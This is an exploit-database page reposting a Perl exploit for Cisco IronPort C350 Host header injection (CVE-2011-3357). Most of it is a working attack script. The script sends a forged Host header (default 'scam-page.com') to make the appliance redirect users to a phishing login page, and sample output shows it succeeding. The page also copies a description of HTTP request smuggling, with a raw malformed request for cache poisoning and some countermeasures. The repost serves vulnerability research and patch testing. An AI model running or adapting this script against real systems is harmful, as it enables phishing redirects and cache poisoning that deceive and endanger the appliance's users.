Advertisement






Cisco IronPort C350 Header Injection

CVE Category Price Severity
CVE-2011-3357 CWE-99 $5000 High
Author Risk Exploitation Type Date
Unknown High Remote 2019-09-03
CPE
cpe:cpe:/h:cisco:ironport_c350
CVSS EPSS EPSSP
CVSS:4.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2019090027

Below is a copy:

Cisco IronPort C350 Header Injection
#!/usr/bin/perl -w
#
#
#  Cisco IronPort C350 Remote Header 'Host' Injection
#
#
#  Copyright 2019 (c) Todor Donev <todor.donev at gmail.com>
#
#
#  Disclaimer:
#  This or previous programs are for Educational purpose ONLY. Do not use it without permission. 
#  The usual disclaimer applies, especially the fact that Todor Donev is not liable for any damages 
#  caused by direct or indirect use of the  information or functionality provided by these programs. 
#  The author or any Internet provider  bears NO responsibility for content or misuse of these programs 
#  or any derivatives thereof. By using these programs you accept the fact  that any damage (dataloss, 
#  system crash, system compromise, etc.) caused by the use  of these programs are not Todor Donev's 
#  responsibility.
#   
#  Use them at your own risk!
#
#
#       [test@localhost ironport]$ perl ironport_c350.pl https://192.168.1.1
## Cisco IronPort C350 Remote Header 'Host' Injection
## ==================================================
## Author: Todor Donev 2019 (c) <todor.donev at gmail.com>
## >  Host => scam-page.com
## >  User-Agent => Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8b) Gecko/20050217
## >  Content-Type => application/x-www-form-urlencoded
## <  Cache-Control => no-store,no-cache,must-revalidate,max-age=0,post-check=0,pre-check=0
## <  Date => Tue, 03 Sep 2019 14:18:51 GMT
## <  Location => https://scam-page.com/login?CSRFKey=76b140ff-7e88-4eaf-ae60-7f6205532297&referrer=https%3A%2F%2Fscam-page.com%2FSearch
## <  Server => glass/1.0 Python/2.6.4
## <  Content-Type => text/html
## <  Expires => Tue, 03 Sep 2019 14:18:51 GMT
## <  Last-Modified => Tue, 03 Sep 2019 14:18:51 GMT
## <  Client-Date => Tue, 03 Sep 2019 14:18:52 GMT
## <  Client-Peer => 192.168.1.1:443
## <  Client-Response-Num => 1
## <  Client-SSL-Cert-Issuer => 
## <  Client-SSL-Cert-Subject => 
## <  Client-SSL-Cipher => DHE-RSA-AES256-SHA
## <  Client-SSL-Socket-Class => IO::Socket::SSL
## <  Client-SSL-Warning => Peer certificate not verified
## <  Refresh => 0; URL=https://scam-page.com/login?CSRFKey=76b140ff-7e88-4eaf-ae60-7f6205532297&referrer=https%3A%2F%2Fscam-page.com%2FSearch
## <  Set-Cookie => sid=9DGT8pSoFYuBq74dVpfh; expires=Thursday, 05-Sep-2019 14:18:51 GMT; httponly; Path=/; secure
## <  Title => : Redirecting
## ==================================================
## IronPort is Poisoned => https://scam-page.com/login?CSRFKey=76b140ff-7e88-4eaf-ae60-7f6205532297&referrer=https%3A%2F%2Fscam-page.com%2FSearch
#       [test@localhost ironport]$ 
#
#
#  Request Smuggling Attack - Input and Data Validation
#  
#  Implementation
#  
#    o   Attack Applies To Vulnerable web servers and proxies.
#  
#  
#  Description
#  
#  HTTP request smuggling is a technique to take advantage 
#  of discrepancies in parsing when one or more HTTP devices
#  are between the user and the web server. An attacker may 
#  be able to 'smuggle' malicious requests through a packet 
#  inspector, firewall or web proxy server. This technique 
#  may leave the web server vulnerable to various attacks 
#  such as web cache poisoning, or allow the attacker to 
#  request protected files on the web server.
#  
#  Impact
#  
#        Cache poisoning: An attacker may be able to rewire 
#    o   a web server cache so that one page is served when 
#        another is requested.
#
#        Malicious requests: An attacker may be able to smuggle 
#    o   a malicious request through a packet inspector, web proxy
#        server, or firewall because of discrepancies in security 
#        rules between it and the web server.
#
#        Credential hijacking: An attacker may be able to insert 
#    o   a request into the HTTP flow, thereby manipulating the 
#        web servers request/response sequencing, which can allow 
#        the attacker to hijack a third partys credentials.
#  
#  Vulnerabilities
#  
#     o  Web server, packet inspector, firewall, or web proxy server 
#        misconfiguration.
#  
#  Countermeasures
#  
#        Deploy a non-vulnerable web server: Web servers with a very 
#     o  strict HTTP parsing procedure may not be vulnerable to this 
#        attack.
#
#        Change all pages to non-cacheable: This will force the proxy 
#        to retrieve the pages from the web server every time. Although 
#     o  this is better from a security perspective, the reality is that 
#        caching significantly improves the server's performance and 
#        reduces latency. Thus, other countermeasures are a better long 
#        term fix.
#
#     o  Rewrite all HTTP requests: Install a module on a firewall or 
#        proxy server to rewrite each HTTP request on the fly to a known 
#        valid request type.
#
#     o  Update your web server: Contact the web server vendor and check 
#        if there has been a patch released for a this type of vulnerability.
#  
#  
#  Example
#  
#  This example describes the classic request smuggling attack
#  in which an attacker can poison one page with the contents 
#  of another. In this example, the attacker combines one POST 
#  request and two GET requests into a single malformed HTTP 
#  request. The HTTP request has two Content-Length headers 
#  with conflicting values. Some servers, such as IIS and 
#  Apache simply reject such a request, but others attempt to 
#  fix the error. Fortunately for the attacker, certain web 
#  servers and web proxies choose to pay attention to different
#  sections of the malformed request.
#  
#  In this case let "somewhere.com" be the DNS name of the web 
#  server behind the proxy, and suppose that "/poison.html" is
#  a static and cacheable HTML page on the web server.
#  
#  1 POST http://somewhere.com/example.html 
#  HTTP/1.1\r\n2 Host: somewhere.com\r\n3 
#  Connection: Keep-Alive\r\n4 
#  Content-Type: application/x-www-form-urlencoded\r\n5 
#  Content-Length: 0\r\n6 Content-Length: 53\r\n7 \r\n8 GET /poison.html HTTP/1.1\r\n9 
#  Host: somewhere.com\r\n10 Bla: 11 GET http://somewhere.com/index.html HTTP/1.1\r\n12 
#  Host: somewhere.com\r\n13 Connection: Keep-Alive\r\n14 \r\n
#  
#  Note that line 10 is the only line that does not end in 
#  CRLF ("\r\n") and instead there is a space ("Bla: "). 
#  This request is sent to a web server via a proxy server.
#  
#  First, this message is parsed by the proxy. When the proxy server 
#  parses the message, it finds the POST request (lines 1-7) followed by 
#  the two conflicting Content-Length's (lines 5 and 6). The proxy ignores
#  the first header and believes the body is 53 bytes long (which is exactly 
#  the number of bytes used by lines 8-10 including CRLFs). The proxy then 
#  sees lines 11-14 and interprets them as a second request.
#  
#  Second, the message is parsed by the web server. Although the web server
#  receives the same message, when it sees the first Content-Length in line 5,
#  it thinks that the body of the POST request is 0 bytes in length. 
#  Therefore it finds the second request in line 8 and interprets line 11 
#  as the value of "Bla: " in line 10 because of the missing CRLF.
#  
#  
#  At this point the web server responds to the GET in line 8 by sending 
#  the content of /poison.html to the proxy. The proxy, expecting a 
#  response to the GET request in line 11, mistakenly matches the reply 
#  from the webserver with contents from /poison.html to the page /index.html. 
#  Therefore, the contents of /poison.html are cached under the name /index.html 
#  on the proxy. Now any user who requests http://somewhere.com/index.html 
#  through the proxy will receive the contents of http://somewhere.com/poison.html 
#  instead.
#  
#  There are several options available to mitigate this attack but all of 
#  them have their downside. If possible, use a well tested web server such 
#  as Apache or IIS. Otherwise, you can turn off server-side page caching, 
#  but this can lead to significant performance problems such as increased 
#  server load and latency. A final option is to use SSL communication for 
#  everything (HTTPS instead of HTTP), but this too has an associated 
#  performance overhead. 
# 
use strict;
use v5.10;
use HTTP::Request;
use LWP::UserAgent;
use WWW::UserAgent::Random;


my $host = shift || '';
my $attacker = shift || 'scam-page.com';


print "# Cisco IronPort C350 Remote Header 'Host' Injection
# ==================================================
# Author: Todor Donev 2019 (c) <todor.donev at gmail.com>
";
if ($host !~ m/^http/){
print  "# e.g. perl $0 https://target:port/ scam-page.com
";
exit;
}

my $user_agent = rand_ua("browsers");
my $browser  = LWP::UserAgent->new(
                                        protocols_allowed => ['http', 'https'],
                                        ssl_opts => { verify_hostname => 0 }
                                );
   $browser->timeout(10);
   $browser->agent($user_agent);

my $request = HTTP::Request->new (POST => $host,[Content_Type => "application/x-www-form-urlencoded"], " ");
$request->header("Host" => $attacker);
my $response = $browser->request($request);
print "# 401 Unauthorized!\n" and exit if ($response->code eq '401');
say "# >  $_ => ", $request->header($_) for  $request->header_field_names;
say "# <  $_ => ", $response->header($_) for  $response->header_field_names;
print "# ==================================================\n";
if (defined ($response->header('Location')) and ($response->header('Location') =~ m/$attacker/i)){
printf ("# IronPort is Poisoned => %s\n", $response->header('Location'));
exit;

} else {

printf ("# Exploit failed!\n");
exit;

}

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum